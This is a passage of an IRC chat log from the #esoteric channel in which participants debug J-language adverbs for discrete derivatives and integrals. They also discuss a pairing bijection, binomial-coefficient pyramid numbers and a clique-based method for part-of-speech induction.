:because < 1268613434 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(x u y) < 1268613435 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :is application < 1268613439 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :??? < 1268613440 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so (u y) is just a simplified form of that < 1268613442 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268613450 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :remember everything is infix even things that aren't :)) < 1268613461 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :also often this is a nicer syntax for definitions: < 1268613465 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :id =: monad define < 1268613465 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :y < 1268613465 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :) < 1268613470 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :longer ones anyway < 1268613481 0 :cheater2!~cheater@ip-80-226-27-206.vodafone-net.de JOIN :#esoteric < 1268613484 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :specially ones with strings :) < 1268613490 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, so if we accept that this might be tricky, how can we make it trivial < 1268613495 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: you might be right about needing special syntax for the dyadic adverb case < 1268613498 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :eliminating addition would do it < 1268613514 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :atleast, variable addition < 1268613533 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so a{2x+3} is fine, but a{2x+y} is not < 1268613534 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :a hint is it doesn't work no matter what the code in the body is < 1268613535 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise? +/ f a + i. b < 1268613538 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this seems to work < 1268613540 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Unlike verbs, adverbs and conjunctions have fixed valence: an adverb is monadic (applying to a single argument to its left), and a conjunction is dyadic. < 1268613542 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the call gives a domain error < 1268613542 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ahh < 1268613545 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :maybe i need a conjunction! < 1268613551 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: so each character can only be used with one variable? < 1268613555 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :sum f mapped over the range a to b < 1268613563 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yeppp i need a conjunction i think < 1268613605 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : 3 (id integ) 4 < 1268613605 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :|ill-formed name: ? < 1268613605 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :| ({."1 wdq) =:wd_val < 1268613605 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :wat. < 1268613607 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, well, no that would be stupid < 1268613608 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: after all you'll also have to disallow a{2x}a{y} < 1268613608 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you're right < 1268613617 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :alise_: why conjunction? it just takes one verb < 1268613623 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :one function < 1268613625 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ah right < 1268613628 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :then wtf is up :) < 1268613647 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well dunno, do adverbs actually get to talk about the parameters the resulting verb is called with? < 1268613652 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :x and y < 1268613658 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, but oerjan, here's the good thing at least, right < 1268613661 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean, i don't actually remember pretty much any syntax... < 1268613666 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan did you se the proof about primes? < 1268613669 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yes they do < 1268613671 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that's why deriv works :-) < 1268613675 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hmm right < 1268613677 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a^256x a^3y b^y b^256z is surely linear time, right < 1268613680 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I just wrote the one from the book out < 1268613689 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: the one with P(1,1,...,1) ? yes < 1268613711 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1268613713 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :thats just (a...)^x (aaa)^y b^y (b...)^z < 1268613758 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which would have minimal amounts of backtracking < 1268613825 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://www.mail-archive.com/general@jsoftware.com/msg04062.html < 1268613828 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :may be a monadic/dyadic issue??? < 1268613832 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :alise_: if it's any consolation, your deriv is wrong < 1268613840 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi oklopol < 1268613844 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hi faxie < 1268613853 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so if we didnt solve the simple diophantines, but instead had some amount of backtracking, it wouldnt be _too_ bad i think < 1268613856 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : (id integ) 4 < 1268613856 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :|value error: x < 1268613856 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :| +/u x+i.y- x < 1268613860 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well that's at least helpful < 1268613862 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: mind you the diophantine equation in that particular case is not _that_ hard to solve. in fact i think several optimizing brainfuck compilers do it :D < 1268613866 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, do you know about this bijection between N^2 and N! < 1268613876 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(in essence) < 1268613878 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well yes < 1268613884 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : f(x,y) = (x^2+y^2+x+2xy+3y)/2 < 1268613891 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh well maybe not that one < 1268613895 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's so beautiful < 1268613896 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: right, im just saying we dont have to solve them we could ust do something else < 1268613901 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan proved it in like 1 second < 1268613965 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: i think if there is more than two variables for a given char, your backtracking could easily be quadratic etc. < 1268613969 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*are < 1268613969 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh he did now < 1268613978 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :"Mathematical fields always permit further division." < 1268613982 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and I didn't know that C(n,k) is the n'th k-dimensional pyramid < 1268613990 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: mind you i guessed it was a basic idea i already knew about < 1268613997 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: hm. ok so then we dont have linear time < 1268614005 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so how do you prove it? < 1268614008 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im partially ok with that, actually < 1268614012 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :My wit i sunmatched. < 1268614017 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean one second sort of implies it's not some boring algebra < 1268614026 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*is unmatched < 1268614039 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im more interested in the class of languages that is representable in such a simple fashion < 1268614044 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the parse complexity isnt a huge issue < 1268614052 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :fax: i didn't know that either, n'th as in of height n? < 1268614059 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :n'th in the sequence < 1268614074 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :for example nC2 = n(n-1)/2 triangular numbers < 1268614078 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :tho the linear time subset of those is itself interesting < 1268614086 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: FIX IT :| < 1268614089 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"in the sequence"? < 1268614093 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :alise_: fix what? < 1268614096 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :1,3,6,10,15,... < 1268614098 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the derivative is trivial to fix < 1268614106 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :the deriv isn't broken. < 1268614109 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh well i see < 1268614113 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, the really amazing bit is that the the FINITE INTEGRAL of nCk is nCk+1 < 1268614141 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(which explains why it's a bijection) < 1268614142 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah finite integration and falling powers are pals < 1268614147 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268614169 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and this generalizes too < 1268614178 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so wait what do we see why f is a bijection now? < 1268614182 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i don't see. < 1268614183 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :` =: adverb : 'u (y+1) - u y' NB. now I just need a fancy symbol for my broken integration < 1268614184 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1268614193 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, well if we are at T(3) = 6, < 1268614202 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :we can add 1, 2, or 3, until we hit T(4) < 1268614217 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :alise_: so what's ] deriv 1 < 1268614227 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :2 - 1 = 1 < 1268614230 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so there is a bijection between N and (x,y) : NxN where y < x < 1268614286 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: ] deriv 1 results in 1. why < 1268614288 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: f(x,y) = (x+y)C2 + y iirc < 1268614299 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it's exactly fax's def so... < 1268614332 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :aw ` isn't a valid name < 1268614358 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :alise_: oh sorry, ] doesn't show the problem < 1268614366 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but try say +: deriv 6 < 1268614382 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and you can just shift it over to make the full bijection < 1268614386 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :skew < 1268614390 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the derivative of +: is constant 2 < 1268614421 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: ah, okay that's cool < 1268614422 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :then fax's definition must suffer from the same problem < 1268614427 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :because his is exactly the same < 1268614431 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :where's fax's definition? < 1268614439 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://github.com/odge/al-jabr/blob/master/Fun/FiniteCalculus.v < 1268614441 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :are you sure she expressed it in j? < 1268614442 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: on an unrelated note, wanna hear a cool technique for doing part-of-speech induction? :D < 1268614453 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Definition DiscreteDerivative (f : Z -> Z) (x : Z) := f (x + 1) - f x. < 1268614460 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1268614467 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :and you have f (x + 1 - f x) < 1268614470 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1268614473 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :no i don't < 1268614480 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hmm so i do < 1268614481 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :wow :D < 1268614485 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well okay < 1268614486 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :pretty epic failure there < 1268614488 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: not really, my head is on the verge of full < 1268614491 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :you have f ((x + 1) - f x) < 1268614493 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :aww < 1268614498 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well empty some of it out! < 1268614500 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean in j terms < 1268614510 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :anyway, im going to tell the channel anyway, oerjan < 1268614512 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so dont worry :D < 1268614517 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AAAAAA < 1268614519 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oklopol! im going to tell this to you too < 1268614520 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i mean, ok < 1268614528 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :8D < 1268614531 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :augur: go for it, not that i have any idea what's going on < 1268614531 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :deriv =: adverb : '(u y+1)-u y' < 1268614536 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :a nicer name would be... nice, though < 1268614549 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :+:` x etc < 1268614554 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but that's not valid < 1268614554 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: part of speech induction. that is, given some text in a language, discovering the parts of speech (noun, verb, etc.) < 1268614572 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so the algorithm goes like this < 1268614577 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://www.jstor.org/pss/2323743 < 1268614584 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :geometry of binomial coefficients - Stephen Wolfram < 1268614611 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :looking at the binary stuff :| < 1268614646 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: yay, % deriv now produces a correct plot < 1268614681 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :+ deriv still produces a ridiculous plot with little spikes at float errors < 1268614724 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :for each word, collect the "n-contexts" that it appears in, where the n-context of the word is the set of pairs of strings where each string is the n words immediately to the left/right of the word in some sentence the word appears in < 1268614743 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :nicee nice baby < 1268614765 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. if you have the sentence "the dog barked", the 1-context is (the, barked). if you have two sentenes, "the dog barked" and "the dog yelped", it has the 1-contexts {(the, barked), (the, yelped)} < 1268614794 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so you just map each word to its sentential neighborhood, basically. < 1268614795 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: now fix integ >_> < 1268614798 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :do you even know the error :P < 1268614826 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :then you build a graph where each node in the graph is a word, and an arc connects two words if the words share at least one context < 1268614872 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :that is, the graph is (V, E) where V is the words, and (w1, w2) is in E iff context(w1) intersect context(w2) is not empty < 1268614911 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so that gives you a similarity graph, showing you which words show up in similar neighborhoods to which other words < 1268614936 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :then if you take the word-wise maximal cliques of this graph, you get the parts of speech < 1268615017 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: I know the equation is correct - < 1268615021 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : +/] 3+i.1 < 1268615021 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :3 < 1268615027 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it's just the definition is broken < 1268615036 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and this algorithm works _surprisingly_ well < 1268615037 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah but there's a domain error no matter what code you put in the if < 1268615045 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :augur: i'll read. < 1268615045 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but its pretty slow. < 1268615057 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :at least with the maximal graph algos i have. < 1268615071 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :er, maximal clique. < 1268615113 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: so it is the control structure. < 1268615145 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268615150 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :inside the ifneeds to be imperative things i think < 1268615152 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*if needs < 1268615200 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :nope < 1268615205 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :augur: okay that does sound like an interesting idea < 1268615210 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1268615218 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'll have to check the definition of maximum clique tho < 1268615224 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i have a very vague idea < 1268615248 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you know what a clique is right? < 1268615261 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :wait lol < 1268615263 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The last sentence executed in a T block is tested for a non-zero value in its leading atom, determining whether the B block after the do. or the rest of the sentence is executed. An empty T block result or an omitted T block tests true. < 1268615263 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :or the rest of the sentence? < 1268615272 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a clique is a complete subgraph < 1268615277 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : foo =: adverb define < 1268615277 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :y-x < 1268615277 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :) < 1268615278 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fails < 1268615286 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :that is, a subgraph where each vertex is connected to each other vertex < 1268615307 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ywah < 1268615309 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268615310 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a maximAL (with an "al", not maximum "um") < 1268615312 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ok, it's the multiple argument thing < 1268615322 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but no i didn't remember that right away < 1268615333 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :clique is a clique that cannot be enlarged by adding any other vertex < 1268615340 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : foo =: adverb define < 1268615340 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dyad : 'y-x' < 1268615341 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :) < 1268615341 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : 1 ] foo 2 < 1268615341 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :1 < 1268615348 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so a clique not copletely contained in any other clique < 1268615379 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the _node-wise_ maximal cliques of a node are the largest cliques that the node appears in < 1268615386 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :|value error: u < 1268615387 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :| +/ u x+i.y-x < 1268615387 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1268615387 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :lollll < 1268615397 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so the maximal cliques-that-contain-that-node < 1268615467 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :your maximum < 1268615478 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : fuck =: adverb define < 1268615479 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :x < 1268615480 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :) < 1268615480 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : ] fuck < 1268615480 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :+-+ < 1268615480 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :�]� < 1268615480 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :+-+ < 1268615493 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so... we can either have one or the other but not both, cool < 1268615497 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :now how do you define an adverb returning dyad < 1268615502 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :without this hit < 1268615535 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :have to do a sleep < 1268615535 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :likewise, an adverb may refer to its left argument (using u) as well as to the arguments of the resulting verb (x and y). < 1268615536 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fugfuck < 1268615537 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :-> < 1268615554 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :fughafpb < 1268615556 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AHAAAA < 1268615557 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i think I have it < 1268615559 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :AHAHAH!!!! < 1268615584 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : 3 (] integ) 4 < 1268615585 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :3 < 1268615586 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you know what the fix was < 1268615590 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : integ =: adverb define < 1268615590 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :: < 1268615590 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :if. (y-x)>0 do. +/u x+i.y-x else. 0 end. < 1268615590 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :) < 1268615592 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :one single fucking colon < 1268615595 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :"dyadic case" separator < 1268615600 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ok gimme an example < 1268615698 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268615712 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i actually should've remembered that < 1268615713 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :-> < 1268615728 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :deriv =: adverb : '(u y+1)-u y' < 1268615729 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :integ =: adverb define < 1268615729 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :: < 1268615729 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :if. (y-x)>0 do. +/u x+i.y-x else. 0 end. < 1268615729 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :) < 1268615730 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :finite calculus in J < 1268615799 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yay < 1268615800 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: now gimme a test case < 1268615810 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise you must know triangular numbers < 1268615813 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :something semicomplicated, preferably involving both deriv and integ (in whatever syntax you want) < 1268615820 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :integrate the identity function to get them < 1268615831 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :integrate it again to get 3D pyramid numbers < 1268615933 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : 0]deriv integ"0 i.10 < 1268615933 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :0 1 2 3 4 5 6 7 8 9 < 1268615935 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Sucks eggs! < 1268616048 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :do you actually need the x param? < 1268616057 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't wokr? < 1268616059 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you can do that from outside integ no? < 1268616062 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: it does < 1268616067 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what did you integrate? < 1268616073 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"0 is the identity? < 1268616074 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :pronounce(sucks eggs) ~ pronounce(success) < 1268616081 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :] is identity < 1268616083 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it's (] deriv) integ < 1268616084 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268616087 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :"0 is just so that I can map it over i.10 < 1268616090 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh!!! < 1268616095 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(because it's dyadic you need to fuck about with rank) < 1268616105 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(for monadic verbs it maps automatically) < 1268616115 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :("0 says basically... this thing takes atoms, not lists) < 1268616173 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :how do I integrate id? < 1268616180 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :]integ < 1268616188 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it's (f adverb), always < 1268616193 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :x f adverb y also works < 1268616209 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :1 (]integ) 6 < 1268616214 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :1 ]integ 6 even. < 1268616216 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it works ! but how do I map over i.1 < 1268616220 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :i.10 < 1268616225 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :1 ]integ 6"0 i.10 < 1268616248 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : 1 ]integ "0 i.10 < 1268616249 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :0 0 1 3 6 10 15 21 28 36 < 1268616250 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes! < 1268616283 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :right < 1268616292 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :now try integrating 2, add constant 1, then integrate again < 1268616298 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :integrating... 2? < 1268616302 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :2 is not a function < 1268616302 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :constant 2 < 1268616324 0 :alise_!unknown@unknown.invalid 